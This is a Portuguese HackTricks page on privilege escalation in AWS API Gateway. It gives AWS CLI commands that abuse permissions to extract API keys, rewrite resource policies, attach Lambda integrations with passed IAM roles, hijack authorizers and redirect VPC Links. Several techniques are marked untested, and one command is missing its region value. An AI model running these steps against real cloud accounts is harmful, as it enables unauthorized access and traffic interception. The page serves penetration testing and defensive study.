AWS - Apigateway Privesc

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Apigateway

Para mais informações, consulte:

pageAWS - API Gateway Enum

apigateway:POST

Com essa permissão, você pode gerar chaves de API das APIs configuradas (por região).

aws --region <region> apigateway create-api-key

Impacto Potencial: Você não pode realizar privesc com esta técnica, mas pode obter acesso a informações sensíveis.

apigateway:GET

Com esta permissão, você pode obter chaves de API geradas das APIs configuradas (por região).

aws --region apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Impacto Potencial: Você não pode realizar privesc com esta técnica, mas pode obter acesso a informações sensíveis.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

Com essas permissões, é possível modificar a política de recursos de uma API para conceder a si mesmo acesso para chamá-la e abusar do acesso potencial que o gateway da API pode ter (como invocar um lambda vulnerável).

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Impacto Potencial: Geralmente, você não conseguirá privesc diretamente com esta técnica, mas pode obter acesso a informações sensíveis.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

Necessita de testes

Um atacante com as permissões apigateway:PutIntegration, apigateway:CreateDeployment e iam:PassRole pode adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que possui uma IAM role anexada. O atacante pode então acionar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados com a IAM role.

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Acesso a recursos associados com a função IAM do Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

Necessita de testes

Um atacante com as permissões apigateway:UpdateAuthorizer e apigateway:CreateDeployment pode modificar um autorizador de API Gateway existente para contornar verificações de segurança ou para executar código arbitrário quando solicitações de API são feitas.

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Impacto Potencial: Bypass de verificações de segurança, acesso não autorizado a recursos da API.

Necessita de teste

Um atacante com a permissão apigateway:UpdateVpcLink pode modificar um VPC Link existente para apontar para um Network Load Balancer diferente, potencialmente redirecionando o tráfego privado da API para recursos não autorizados ou maliciosos.

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Impacto Potencial: Acesso não autorizado a recursos privados da API, interceptação ou interrupção do tráfego da API.

Aprenda hacking no AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

Última actualización